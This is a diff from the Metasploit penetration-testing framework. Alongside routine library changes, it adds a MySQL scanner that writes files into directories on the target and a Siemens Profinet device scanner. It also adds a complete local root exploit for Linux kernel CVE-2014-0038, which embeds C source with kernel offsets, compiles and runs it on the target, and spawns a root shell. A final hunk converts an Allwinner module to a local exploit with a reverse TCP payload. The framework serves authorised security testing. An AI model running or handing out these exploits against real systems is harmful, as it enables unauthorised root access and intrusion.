Msf::Util::DocumentGenerator.spawn_module_document(mod, f)
|
||||
ensure
|
||||
f.close if f
|
||||
end
|
||||
|
|
|
@ -1227,9 +1227,7 @@ require 'msf/core/exe/segment_appender'
|
|||
# @param code [String]
|
||||
#
|
||||
def self.to_powershell_vba(framework, arch, code)
|
||||
template_path = File.join(Msf::Config.data_directory,
|
||||
"templates",
|
||||
"scripts")
|
||||
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
|
||||
|
||||
powershell = Rex::Powershell::Command.cmd_psh_payload(code,
|
||||
arch,
|
||||
|
@ -1374,9 +1372,7 @@ require 'msf/core/exe/segment_appender'
|
|||
end
|
||||
|
||||
def self.to_powershell_command(framework, arch, code)
|
||||
template_path = File.join(Msf::Config.data_directory,
|
||||
"templates",
|
||||
"scripts")
|
||||
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
|
||||
Rex::Powershell::Command.cmd_psh_payload(code,
|
||||
arch,
|
||||
template_path,
|
||||
|
@ -1385,9 +1381,7 @@ require 'msf/core/exe/segment_appender'
|
|||
end
|
||||
|
||||
def self.to_powershell_hta(framework, arch, code)
|
||||
template_path = File.join(Msf::Config.data_directory,
|
||||
"templates",
|
||||
"scripts")
|
||||
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
|
||||
|
||||
powershell = Rex::Powershell::Command.cmd_psh_payload(code,
|
||||
arch,
|
||||
|
|
|
@ -51,6 +51,25 @@ class Config
|
|||
getsid == SYSTEM_SID
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a list of currently active drivers used by the target system
|
||||
#
|
||||
def getdrivers
|
||||
request = Packet.create_request('stdapi_sys_config_driver_list')
|
||||
response = client.send_request(request)
|
||||
|
||||
result = []
|
||||
|
||||
response.each(TLV_TYPE_DRIVER_ENTRY) do |driver|
|
||||
result << {
|
||||
basename: driver.get_tlv_value(TLV_TYPE_DRIVER_BASENAME),
|
||||
filename: driver.get_tlv_value(TLV_TYPE_DRIVER_FILENAME)
|
||||
}
|
||||
end
|
||||
|
||||
result
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a hash of requested environment variables, along with their values.
|
||||
# If a requested value doesn't exist in the response, then the value wasn't found.
|
||||
|
@ -94,9 +113,9 @@ class Config
|
|||
#
|
||||
# Returns a hash of information about the remote computer.
|
||||
#
|
||||
def sysinfo
|
||||
def sysinfo(refresh: false)
|
||||
request = Packet.create_request('stdapi_sys_config_sysinfo')
|
||||
if @sysinfo.nil?
|
||||
if @sysinfo.nil? || refresh
|
||||
response = client.send_request(request)
|
||||
|
||||
@sysinfo = {
|
||||
|
|
|
@ -159,6 +159,10 @@ TLV_TYPE_PARENT_PID = TLV_META_TYPE_UINT | 2307
|
|||
TLV_TYPE_PROCESS_SESSION = TLV_META_TYPE_UINT | 2308
|
||||
TLV_TYPE_PROCESS_ARCH_NAME = TLV_META_TYPE_STRING | 2309
|
||||
|
||||
TLV_TYPE_DRIVER_ENTRY = TLV_META_TYPE_GROUP | 2320
|
||||
TLV_TYPE_DRIVER_BASENAME = TLV_META_TYPE_STRING | 2321
|
||||
TLV_TYPE_DRIVER_FILENAME = TLV_META_TYPE_STRING | 2322
|
||||
|
||||
TLV_TYPE_IMAGE_FILE = TLV_META_TYPE_STRING | 2400
|
||||
TLV_TYPE_IMAGE_FILE_PATH = TLV_META_TYPE_STRING | 2401
|
||||
TLV_TYPE_PROCEDURE_NAME = TLV_META_TYPE_STRING | 2402
|
||||
|
|
|
@ -62,7 +62,8 @@ class PacketParser
|
|||
# header size doesn't include the xor key, which is always tacked on the front
|
||||
self.payload_length_left = length_bytes.unpack("N")[0] - (HEADER_SIZE - 4)
|
||||
end
|
||||
elsif (self.payload_length_left > 0)
|
||||
end
|
||||
if (self.payload_length_left > 0)
|
||||
buf = sock.read(self.payload_length_left)
|
||||
|
||||
if (buf)
|
||||
|
|
|
@ -810,7 +810,7 @@ class Console::CommandDispatcher::Stdapi::Sys
|
|||
# Displays information about the remote system.
|
||||
#
|
||||
def cmd_sysinfo(*args)
|
||||
info = client.sys.config.sysinfo
|
||||
info = client.sys.config.sysinfo(refresh: true)
|
||||
width = "Meterpreter".length
|
||||
info.keys.each { |k| width = k.length if k.length > width and info[k] }
|
||||
|
||||
|
|
|
@ -65,7 +65,7 @@ Gem::Specification.new do |spec|
|
|||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model'
|
||||
# Needed for Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.1.16'
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.1.19'
|
||||
# Needed for the next-generation POSIX Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.0.6'
|
||||
# Needed by msfgui and other rpc components
|
||||
|
|
|
@ -44,7 +44,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
open_pcap
|
||||
|
||||
sent = 0
|
||||
num = datastore['NUM']
|
||||
num = datastore['NUM'] || 0
|
||||
|
||||
print_status("SYN flooding #{rhost}:#{rport}...")
|
||||
|
||||
|
|
|
@ -53,10 +53,10 @@ class MetasploitModule < Msf::Auxiliary
|
|||
register_advanced_options(
|
||||
[
|
||||
OptString.new('VERSIONS', [false, 'Specific versions to fuzz (csv)', '2,3,4']),
|
||||
OptString.new('MODES', [false, 'Modes to fuzz (csv)', nil]),
|
||||
OptString.new('MODE_6_OPERATIONS', [false, 'Mode 6 operations to fuzz (csv)', nil]),
|
||||
OptString.new('MODE_7_IMPLEMENTATIONS', [false, 'Mode 7 implementations to fuzz (csv)', nil]),
|
||||
OptString.new('MODE_7_REQUEST_CODES', [false, 'Mode 7 request codes to fuzz (csv)', nil])
|
||||
OptString.new('MODES', [false, 'Modes to fuzz (csv)']),
|
||||
OptString.new('MODE_6_OPERATIONS', [false, 'Mode 6 operations to fuzz (csv)']),
|
||||
OptString.new('MODE_7_IMPLEMENTATIONS', [false, 'Mode 7 implementations to fuzz (csv)']),
|
||||
OptString.new('MODE_7_REQUEST_CODES', [false, 'Mode 7 request codes to fuzz (csv)'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
@ -68,7 +68,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
thing = setting.upcase
|
||||
const_name = thing.to_sym
|
||||
var_name = thing.downcase
|
||||
if datastore.key?(thing)
|
||||
if datastore[thing]
|
||||
instance_variable_set("@#{var_name}", datastore[thing].split(/[^\d]/).select { |v| !v.empty? }.map { |v| v.to_i })
|
||||
unsupported_things = instance_variable_get("@#{var_name}") - Rex::Proto::NTP.const_get(const_name)
|
||||
fail "Unsupported #{thing}: #{unsupported_things}" unless unsupported_things.empty?
|
||||
|
@ -178,7 +178,11 @@ class MetasploitModule < Msf::Auxiliary
|
|||
# Sends +message+ to +host+ on UDP port +port+, returning all replies
|
||||
def probe(host, port, message)
|
||||
replies = []
|
||||
udp_sock.sendto(message, host, port, 0)
|
||||
begin
|
||||
udp_sock.sendto(message, host, port, 0)
|
||||
rescue ::Errno::EISCONN
|
||||
udp_sock.write(message)
|
||||
end
|
||||
reply = udp_sock.recvfrom(65535, datastore['WAIT'] / 1000.0)
|
||||
while reply && reply[1]
|
||||
replies << reply
|
||||
|
|
|
@ -0,0 +1,80 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::MYSQL
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'MYSQL Directory Write Test',
|
||||
'Description' => %Q{
|
||||
Enumerate writeable directories using the MySQL SELECT INTO DUMPFILE feature, for more
|
||||
information see the URL in the references. ***Note: For every writable directory found,
|
||||
a file with the specified FILE_NAME containing the text test will be written to the directory.***
|
||||
},
|
||||
'Author' => [ 'AverageSecurityGuy <stephen[at]averagesecurityguy.info>' ],
|
||||
'References' => [
|
||||
[ 'URL', 'https://dev.mysql.com/doc/refman/5.7/en/select-into.html' ]
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptPath.new('DIR_LIST', [ true, "List of directories to test", '' ]),
|
||||
OptString.new('FILE_NAME', [ true, "Name of file to write", Rex::Text.rand_text_alpha(8) ]),
|
||||
OptString.new('USERNAME', [ true, 'The username to authenticate as', "root" ])
|
||||
])
|
||||
|
||||
end
|
||||
|
||||
# This function does not handle any errors, if you use this
|
||||
# make sure you handle the errors yourself
|
||||
def mysql_query_no_handle(sql)
|
||||
res = @mysql_handle.query(sql)
|
||||
res
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
print_warning("For every writable directory found, a file called #{datastore['FILE_NAME']} with the text test will be written to the directory.")
|
||||
print_status("Login...")
|
||||
|
||||
unless mysql_login_datastore
|
||||
print_error('Unable to login to the server.')
|
||||
return
|
||||
end
|
||||
|
||||
File.read(datastore['DIR_LIST']).each_line do |dir|
|
||||
check_dir(dir.chomp)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def check_dir(dir)
|
||||
begin
|
||||
print_status("Checking #{dir}...")
|
||||
res = mysql_query_no_handle("SELECT _utf8'test' INTO DUMPFILE '#{dir}/" + datastore['FILE_NAME'] + "'")
|
||||
rescue ::RbMysql::ServerError => e
|
||||
print_warning(e.to_s)
|
||||
rescue Rex::ConnectionTimeout => e
|
||||
print_error("Timeout: #{e.message}")
|
||||
else
|
||||
print_good("#{dir} is writeable")
|
||||
report_note(
|
||||
:host => rhost,
|
||||
:type => "filesystem.file",
|
||||
:data => "#{dir} is writeable",
|
||||
:port => rport,
|
||||
:proto => 'tcp',
|
||||
:update => :unique_data
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,152 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'packetfu'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Siemens Profinet Scanner',
|
||||
'Description' => %q{
|
||||
This module will use Layer2 packets, known as Profinet Discovery packets,
|
||||
to detect all Siemens (and sometimes other) devices on a network.
|
||||
It is perfectly SCADA-safe, as there will only be ONE single packet sent out.
|
||||
Devices will respond with their IP configuration and hostnames.
|
||||
Created by XiaK Industrial Security Research Center (www[dot]xiak[dot]be))
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'https://wiki.wireshark.org/PROFINET/DCP' ],
|
||||
[ 'URL', 'https://github.com/tijldeneut/ICSSecurityScripts' ]
|
||||
],
|
||||
'Author' => 'Tijl Deneut <tijl.deneut[at]howest.be>',
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('INTERFACE', [ true, 'Set an interface', 'eth0' ]),
|
||||
OptInt.new('ANSWERTIME', [ true, 'Seconds to wait for answers, set longer on slower networks', 2 ])
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def hex_to_bin(s)
|
||||
s.scan(/../).map { |x| x.hex.chr }.join
|
||||
end
|
||||
|
||||
def bin_to_hex(s)
|
||||
s.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
|
||||
end
|
||||
|
||||
def hexint_to_str(s)
|
||||
s.to_i(16).to_s
|
||||
end
|
||||
|
||||
def hex_to_address(s)
|
||||
hexint_to_str(s[0..1]) + '.' + hexint_to_str(s[2..3]) + '.' + hexint_to_str(s[4..5]) + '.' + hexint_to_str(s[6..7])
|
||||
end
|
||||
|
||||
def parse_devicerole(role)
|
||||
arr = { "01" => "IO-Device", "02" => "IO-Controller", "04" => "IO-Multidevice", "08" => "PN-Supervisor" }
|
||||
return arr[role] unless arr[role].nil?
|
||||
'Unknown'
|
||||
end
|
||||
|
||||
def parse_vendorid(id)
|
||||
return 'Siemens' if id == '002a'
|
||||
'Unknown'
|
||||
end
|
||||
|
||||
def parse_deviceid(id)
|
||||
arr = { "0a01" => "Switch", "0202" => "PC Simulator", "0203" => "S7-300 CPU", \
|
||||
"0101" => "S7-300", "010e" => "S7-1500", "010d" => "S7-1200", "0301" => "HMI", \
|
||||
"0403" => "HMI", "010b" => "ET200S" }
|
||||
return arr[id] unless arr[id].nil?
|
||||
'Unknown'
|
||||
end
|
||||
|
||||
def parse_block(block, block_length)
|
||||
block_id = block[0..2 * 2 - 1]
|
||||
case block_id
|
||||
when '0201'
|
||||
type_of_station = hex_to_bin(block[4 * 2..4 * 2 + block_length * 2 - 1])
|
||||
print_line("Type of station: #{type_of_station}")
|
||||
when '0202'
|
||||
name_of_station = hex_to_bin(block[4 * 2..4 * 2 + block_length * 2 - 1])
|
||||
print_line("Name of station: #{name_of_station}")
|
||||
when '0203'
|
||||
vendor_id = parse_vendorid(block[6 * 2..8 * 2 - 1])
|
||||
device_id = parse_deviceid(block[8 * 2..10 * 2 - 1])
|
||||
print_line("Vendor and Device Type: #{vendor_id}, #{device_id}")
|
||||
when '0204'
|
||||
device_role = parse_devicerole(block[6 * 2..7 * 2 - 1])
|
||||
print_line("Device Role: #{device_role}")
|
||||
when '0102'
|
||||
ip = hex_to_address(block[6 * 2..10 * 2 - 1])
|
||||
snm = hex_to_address(block[10 * 2..14 * 2 - 1])
|
||||
gw = hex_to_address(block[14 * 2..18 * 2 - 1])
|
||||
print_line("IP, Subnetmask and Gateway are: #{ip}, #{snm}, #{gw}")
|
||||
end
|
||||
end
|
||||
|
||||
def parse_profinet(data)
|
||||
data_to_parse = data[24..-1]
|
||||
|
||||
until data_to_parse.empty?
|
||||
block_length = data_to_parse[2 * 2..4 * 2 - 1].to_i(16)
|
||||
block = data_to_parse[0..(4 + block_length) * 2 - 1]
|
||||
|
||||
parse_block(block, block_length)
|
||||
|
||||
padding = block_length % 2
|
||||
data_to_parse = data_to_parse[(4 + block_length + padding) * 2..-1]
|
||||
end
|
||||
end
|
||||
|
||||
def receive(iface, answertime)
|
||||
capture = PacketFu::Capture.new(iface: iface, start: true, filter: 'ether proto 0x8892')
|
||||
sleep answertime
|
||||
capture.save
|
||||
i = 0
|
||||
capture.array.each do |packet|
|
||||
data = bin_to_hex(packet).downcase
|
||||
mac = data[12..13] + ':' + data[14..15] + ':' + data[16..17] + ':' + data[18..19] + ':' + data[20..21] + ':' + data[22..23]
|
||||
next unless data[28..31] == 'feff'
|
||||
print_good("Parsing packet from #{mac}")
|
||||
parse_profinet(data[28..-1])
|
||||
print_line('')
|
||||
i += 1
|
||||
end
|
||||
if i.zero?
|
||||
print_warning('No devices found, maybe you are running virtually?')
|
||||
else
|
||||
print_good("I found #{i} devices for you!")
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
iface = datastore['INTERFACE']
|
||||
answertime = datastore['ANSWERTIME']
|
||||
packet = "\x00\x00\x88\x92\xfe\xfe\x05\x00\x04\x00\x00\x03\x00\x80\x00\x04\xff\xff\x00\x00\x00\x00"
|
||||
packet += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
|
||||
eth_pkt = PacketFu::EthPacket.new
|
||||
begin
|
||||
eth_pkt.eth_src = PacketFu::Utils.whoami?(iface: iface)[:eth_src]
|
||||
rescue
|
||||
print_error("Error: interface #{iface} not active?")
|
||||
return
|
||||
end
|
||||
eth_pkt.eth_daddr = "01:0e:cf:00:00:00"
|
||||
eth_pkt.eth_proto = 0x8100
|
||||
eth_pkt.payload = packet
|
||||
print_status("Sending packet out to #{iface}")
|
||||
eth_pkt.to_w(iface)
|
||||
|
||||
receive(iface, answertime)
|
||||
end
|
||||
end
|
|
@ -0,0 +1,354 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require "msf/core"
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Linux Kernel 3.13.1 Recvmmsg Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module attempts to exploit CVE-2014-0038, by sending a recvmmsg
|
||||
system call with a crafted timeout pointer parameter to gain root.
|
||||
This exploit has offsets for 3 Ubuntu 13 kernels built in:
|
||||
3.8.0-19-generic (13.04 default)
|
||||
3.11.0-12-generic (13.10 default)
|
||||
3.11.0-15-generic (13.10)
|
||||
This exploit may take up to 13 minutes to run due to a decrementing (1/sec)
|
||||
pointer which starts at 0xff*3 (765 seconds)
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'h00die <mike@shorebreaksecurity.com>', # Module
|
||||
'rebel' # Discovery
|
||||
],
|
||||
'DisclosureDate' => 'Feb 2 2014',
|
||||
'Platform' => [ 'linux'],
|
||||
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Auto', { } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => { 'WfsDelay' => 780, 'PrependFork' => true, },
|
||||
'References' =>
|
||||
[
|
||||
[ 'EDB', '31347'],
|
||||
[ 'EDB', '31346'],
|
||||
[ 'CVE', '2014-0038'],
|
||||
[ 'URL', 'https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1453900']
|
||||
]
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
|
||||
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
def kernel_vuln?()
|
||||
os_id = cmd_exec('grep ^ID= /etc/os-release')
|
||||
if os_id == 'ID=ubuntu'
|
||||
kernel = Gem::Version.new(cmd_exec('/bin/uname -r'))
|
||||
case kernel.release.to_s
|
||||
when '3.11.0'
|
||||
if kernel == Gem::Version.new('3.11.0-15-generic') || kernel == Gem::Version.new('3.11.0-12-generic')
|
||||
vprint_good("Kernel #{kernel} is exploitable")
|
||||
return true
|
||||
else
|
||||
print_error("Kernel #{kernel} is NOT vulnerable or NOT exploitable")
|
||||
return false
|
||||
end
|
||||
when '3.8.0'
|
||||
if kernel == Gem::Version.new('3.8.0-19-generic')
|
||||
vprint_good("Kernel #{kernel} is exploitable")
|
||||
return true
|
||||
else
|
||||
print_error("Kernel #{kernel} is NOT vulnerable or NOT exploitable")
|
||||
return false
|
||||
end
|
||||
else
|
||||
print_error("Non-vuln kernel #{kernel}")
|
||||
return false
|
||||
end
|
||||
else
|
||||
print_error("Unknown OS: #{os_id}")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
if kernel_vuln?()
|
||||
return CheckCode::Appears
|
||||
else
|
||||
return CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
if check != CheckCode::Appears
|
||||
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
|
||||
end
|
||||
|
||||
|
||||
# direct copy of code from exploit-db. I removed a lot of the comments in the title area just to cut down on size
|
||||
|
||||
recvmmsg = %q{
|
||||
/*
|
||||
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
|
||||
recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y)
|
||||
CVE-2014-0038 / x32 ABI with recvmmsg
|
||||
by rebel @ irc.smashthestack.org
|
||||
-----------------------------------
|
||||
*/
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <netinet/ip.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/socket.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
#define __X32_SYSCALL_BIT 0x40000000
|
||||
#undef __NR_recvmmsg
|
||||
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
|
||||
#define VLEN 1
|
||||
#define BUFSIZE 200
|
||||
|
||||
int port;
|
||||
|
||||
struct offset {
|
||||
char *kernel_version;
|
||||
unsigned long dest; // net_sysctl_root + 96
|
||||
unsigned long original_value; // net_ctl_permissions
|
||||
unsigned long prepare_kernel_cred;
|
||||
unsigned long commit_creds;
|
||||
};
|
||||
|
||||
struct offset offsets[] = {
|
||||
{"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10
|
||||
{"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10
|
||||
{"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04
|
||||
{NULL,0,0,0,0}
|
||||
};
|
||||
|
||||
void udp(int b) {
|
||||
int sockfd;
|
||||
struct sockaddr_in servaddr,cliaddr;
|
||||
int s = 0xff+1;
|
||||
|
||||
if(fork() == 0) {
|
||||
while(s > 0) {
|
||||
fprintf(stderr,"\rbyte %d / 3.. ~%d secs left \b\b\b\b",b+1,3*0xff - b*0xff - (0xff+1-s));
|
||||
sleep(1);
|
||||
s--;
|
||||
fprintf(stderr,".");
|
||||
}
|
||||
|
||||
sockfd = socket(AF_INET,SOCK_DGRAM,0);
|
||||
bzero(&servaddr,sizeof(servaddr));
|
||||
servaddr.sin_family = AF_INET;
|
||||
servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
|
||||
servaddr.sin_port=htons(port);
|
||||
sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr));
|
||||
exit(0);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
void trigger() {
|
||||
open("/proc/sys/net/core/somaxconn",O_RDONLY);
|
||||
|
||||
if(getuid() != 0) {
|
||||
fprintf(stderr,"not root, ya blew it!\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
fprintf(stderr,"w00p w00p!\n");
|
||||
system("/bin/sh -i");
|
||||
}
|
||||
|
||||
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
_commit_creds commit_creds;
|
||||
_prepare_kernel_cred prepare_kernel_cred;
|
||||
|
||||
// thx bliss
|
||||
static int __attribute__((regparm(3)))
|
||||
getroot(void *head, void * table)
|
||||
{
|
||||
commit_creds(prepare_kernel_cred(0));
|
||||
return -1;
|
||||
}
|
||||
|
||||
void __attribute__((regparm(3)))
|
||||
trampoline()
|
||||
{
|
||||
asm("mov $getroot, %rax; call *%rax;");
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
int sockfd, retval, i;
|
||||
struct sockaddr_in sa;
|
||||
struct mmsghdr msgs[VLEN];
|
||||
struct iovec iovecs[VLEN];
|
||||
char buf[BUFSIZE];
|
||||
long mmapped;
|
||||
struct utsname u;
|
||||
struct offset *off = NULL;
|
||||
|
||||
uname(&u);
|
||||
|
||||
for(i=0;offsets[i].kernel_version != NULL;i++) {
|
||||
if(!strcmp(offsets[i].kernel_version,u.release)) {
|
||||
off = &offsets[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if(!off) {
|
||||
fprintf(stderr,"no offsets for this kernel version..\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
mmapped = (off->original_value & ~(sysconf(_SC_PAGE_SIZE) - 1));
|
||||
mmapped &= 0x000000ffffffffff;
|
||||
|
||||
srand(time(NULL));
|
||||
port = (rand() % 30000)+1500;
|
||||
|
||||
commit_creds = (_commit_creds)off->commit_creds;
|
||||
prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred;
|
||||
|
||||
mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
|
||||
|
||||
if(mmapped == -1) {
|
||||
perror("mmap()");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);
|
||||
|
||||
memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300);
|
||||
|
||||
if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {
|
||||
perror("mprotect()");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
|
||||
if (sockfd == -1) {
|
||||
perror("socket()");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
sa.sin_family = AF_INET;
|
||||
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
sa.sin_port = htons(port);
|
||||
|
||||
if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
|
||||
perror("bind()");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
memset(msgs, 0, sizeof(msgs));
|
||||
|
||||
iovecs[0].iov_base = &buf;
|
||||
iovecs[0].iov_len = BUFSIZE;
|
||||
msgs[0].msg_hdr.msg_iov = &iovecs[0];
|
||||
msgs[0].msg_hdr.msg_iovlen = 1;
|
||||
|
||||
for(i=0;i < 3 ;i++) {
|
||||
udp(i);
|
||||
retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i);
|
||||
if(!retval) {
|
||||
fprintf(stderr,"\nrecvmmsg() failed\n");
|
||||
}
|
||||
}
|
||||
|
||||
close(sockfd);
|
||||
fprintf(stderr,"\n");
|
||||
trigger();
|
||||
}
|
||||
}
|
||||
|
||||
filename = rand_text_alphanumeric(8)
|
||||
executable_path = "#{datastore['WritableDir']}/#{filename}"
|
||||
payloadname = rand_text_alphanumeric(8)
|
||||
payload_path = "#{datastore['WritableDir']}/#{payloadname}"
|
||||
|
||||
def has_prereqs?()
|
||||
gcc = cmd_exec('which gcc')
|
||||
if gcc.include?('gcc')
|
||||
vprint_good('gcc is installed')
|
||||
else
|
||||
print_error('gcc is not installed. Compiling will fail.')
|
||||
end
|
||||
return gcc.include?('gcc')
|
||||
end
|
||||
|
||||
compile = false
|
||||
if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
|
||||
if has_prereqs?()
|
||||
compile = true
|
||||
vprint_status('Live compiling exploit on system')
|
||||
else
|
||||
vprint_status('Dropping pre-compiled exploit on system')
|
||||
end
|
||||
end
|
||||
if check != CheckCode::Appears
|
||||
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
|
||||
end
|
||||
|
||||
def upload_and_chmod(fname,fcontent)
|
||||
print_status "Writing to #{fname} (#{fcontent.size} bytes)"
|
||||
rm_f fname
|
||||
write_file(fname, fcontent)
|
||||
cmd_exec("chmod +x #{fname}")
|
||||
register_file_for_cleanup(fname)
|
||||
end
|
||||
|
||||
if compile
|
||||
recvmmsg.gsub!(/system\("\/bin\/sh -i"\);/,
|
||||
"system(\"#{payload_path}\");")
|
||||
upload_and_chmod("#{executable_path}.c", recvmmsg)
|
||||
vprint_status("Compiling #{executable_path}.c")
|
||||
cmd_exec("gcc -o #{executable_path} #{executable_path}.c") #compile
|
||||
register_file_for_cleanup(executable_path)
|
||||
else
|
||||
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2014-0038', 'recvmmsg')
|
||||
fd = ::File.open( path, "rb")
|
||||
recvmmsg = fd.read(fd.stat.size)
|
||||
fd.close
|
||||
upload_and_chmod(executable_path, recvmmsg)
|
||||
# overwrite with the hardcoded variable names in the compiled versions
|
||||
payload_filename = 'a0RwAacU'
|
||||
payload_path = "/tmp/#{payload_filename}"
|
||||
end
|
||||
|
||||
upload_and_chmod(payload_path, generate_payload_exe)
|
||||
stime = Time.now
|
||||
vprint_status("Exploiting... May take 13min. Start time: #{stime}")
|
||||
output = cmd_exec(executable_path)
|
||||
output.each_line { |line| vprint_status(line.chomp) }
|
||||
end
|
||||
end
|
|
@ -5,9 +5,12 @@
|
|||
|
||||
require "msf/core"
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::Priv
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
@ -31,6 +34,11 @@ class MetasploitModule < Msf::Post
|
|||
],
|
||||
"Platform" => [ "android", "linux" ],
|
||||
"DisclosureDate" => "Apr 30 2016",
|
||||
"DefaultOptions" => {
|
||||
"payload" => "linux/armle/mettle/reverse_tcp"
|
||||
},
|
||||
"Privileged" => true,
|
||||
"Arch" => ARCH_ARMLE,
|
||||
"References" =>
|
||||
[
|
||||
[ "URL", "http://forum.armbian.com/index.php/topic/1108-security-alert-for-allwinner-sun8i-h3a83th8/"],
